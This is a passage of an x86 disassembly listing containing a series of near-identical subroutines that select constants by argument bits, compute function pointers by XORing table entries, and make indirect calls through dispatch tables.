		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4ACB64	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4ACC61	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004EDAA4o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 0A4h
		mov	[ebp+var_2C], 7Ah
		mov	[ebp+var_28], 3Ah
		mov	[ebp+var_24], 0CCh
		mov	[ebp+var_20], 0B7h
		mov	[ebp+var_1C], 0B7h
		mov	[ebp+var_18], 14h
		mov	[ebp+var_14], 0B0h
		mov	[ebp+var_10], 8
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 8
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4ACCF2
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4ACCF2:				; CODE XREF: sub_4ACC61+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4ACC61	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4ACD5E	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004EDAA8o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 21h
		mov	[ebp+var_2C], 0F9h
		mov	[ebp+var_28], 0C4h
		mov	[ebp+var_24], 8Eh
		mov	[ebp+var_20], 9Eh
		mov	[ebp+var_1C], 70h
		mov	[ebp+var_18], 55h
		mov	[ebp+var_14], 9Ch
		mov	[ebp+var_10], 0Eh
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 0Eh
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4ACDEF
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4ACDEF:				; CODE XREF: sub_4ACD5E+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4ACD5E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4ACE5B	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004EDAACo

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 36h
		mov	[ebp+var_2C], 0A5h
		mov	[ebp+var_28], 46h
		mov	[ebp+var_24], 2Dh
		mov	[ebp+var_20], 1Eh
		mov	[ebp+var_1C], 55h
		mov	[ebp+var_18], 0F3h
		mov	[ebp+var_14], 54h
		mov	[ebp+var_10], 9
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 9
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4ACEEC
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4ACEEC:				; CODE XREF: sub_4ACE5B+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4ACE5B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4ACF58	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004EDAB0o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 20h
		mov	[ebp+var_2C], 56h
		mov	[ebp+var_28], 46h
		mov	[ebp+var_24], 0E0h
		mov	[ebp+var_20], 0D6h
		mov	[ebp+var_1C], 90h
		mov	[ebp+var_18], 33h
		mov	[ebp+var_14], 44h
		mov	[ebp+var_10], 10h
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 10h
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4ACFE9
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4ACFE9:				; CODE XREF: sub_4ACF58+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4ACF58	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4AD055	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004EDAB4o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 46h
		mov	[ebp+var_2C], 0CDh
		mov	[ebp+var_28], 0AEh
		mov	[ebp+var_24], 0D8h
		mov	[ebp+var_20], 0BAh
		mov	[ebp+var_1C], 0BBh
		mov	[ebp+var_18], 6Ch
		mov	[ebp+var_14], 0CFh
		mov	[ebp+var_10], 14h
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 14h
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4AD0E6
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4AD0E6:				; CODE XREF: sub_4AD055+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4AD055	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4AD152	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004EDAB8o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 51h
		mov	[ebp+var_2C], 72h
		mov	[ebp+var_28], 0B1h
		mov	[ebp+var_24], 83h
		mov	[ebp+var_20], 0BBh
		mov	[ebp+var_1C], 31h
		mov	[ebp+var_18], 0B4h
		mov	[ebp+var_14], 2Ah
		mov	[ebp+var_10], 0
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4AD1E0
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4AD1E0:				; CODE XREF: sub_4AD152+7Bj
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4AD152	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4AD24C	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004EDABCo

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 74h
		mov	[ebp+var_2C], 8Fh
		mov	[ebp+var_28], 44h
		mov	[ebp+var_24], 0DAh
		mov	[ebp+var_20], 0F1h
		mov	[ebp+var_1C], 16h
		mov	[ebp+var_18], 3Ah
		mov	[ebp+var_14], 5Fh
		mov	[ebp+var_10], 0Ah
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 0Ah
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4AD2DD
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4AD2DD:				; CODE XREF: sub_4AD24C+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4AD24C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4AD349	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004EDAC0o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 0DCh
		mov	[ebp+var_2C], 98h
		mov	[ebp+var_28], 0F5h
		mov	[ebp+var_24], 0E5h
		mov	[ebp+var_20], 0DFh
		mov	[ebp+var_1C], 0B3h
		mov	[ebp+var_18], 71h
		mov	[ebp+var_14], 1Ch
		mov	[ebp+var_10], 9
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 9
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4AD3DA
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4AD3DA:				; CODE XREF: sub_4AD349+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4AD349	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4AD446	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004EDAC4o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 61h
		mov	[ebp+var_2C], 7Ch
		mov	[ebp+var_28], 88h
		mov	[ebp+var_24], 70h
		mov	[ebp+var_20], 0CAh
		mov	[ebp+var_1C], 99h
		mov	[ebp+var_18], 0BFh
		mov	[ebp+var_14], 1Eh
		mov	[ebp+var_10], 6
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 6
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4AD4D7
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4AD4D7:				; CODE XREF: sub_4AD446+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4AD446	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4AD543	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004EDAC8o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 11h
		mov	[ebp+var_2C], 46h
		mov	[ebp+var_28], 0CCh
		mov	[ebp+var_24], 0A2h
		mov	[ebp+var_20], 0C4h
		mov	[ebp+var_1C], 1Eh
		mov	[ebp+var_18], 23h
		mov	[ebp+var_14], 7Ah
		mov	[ebp+var_10], 0Eh
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 0Eh
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4AD5D4
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4AD5D4:				; CODE XREF: sub_4AD543+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4AD543	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4AD640	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004EDACCo

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
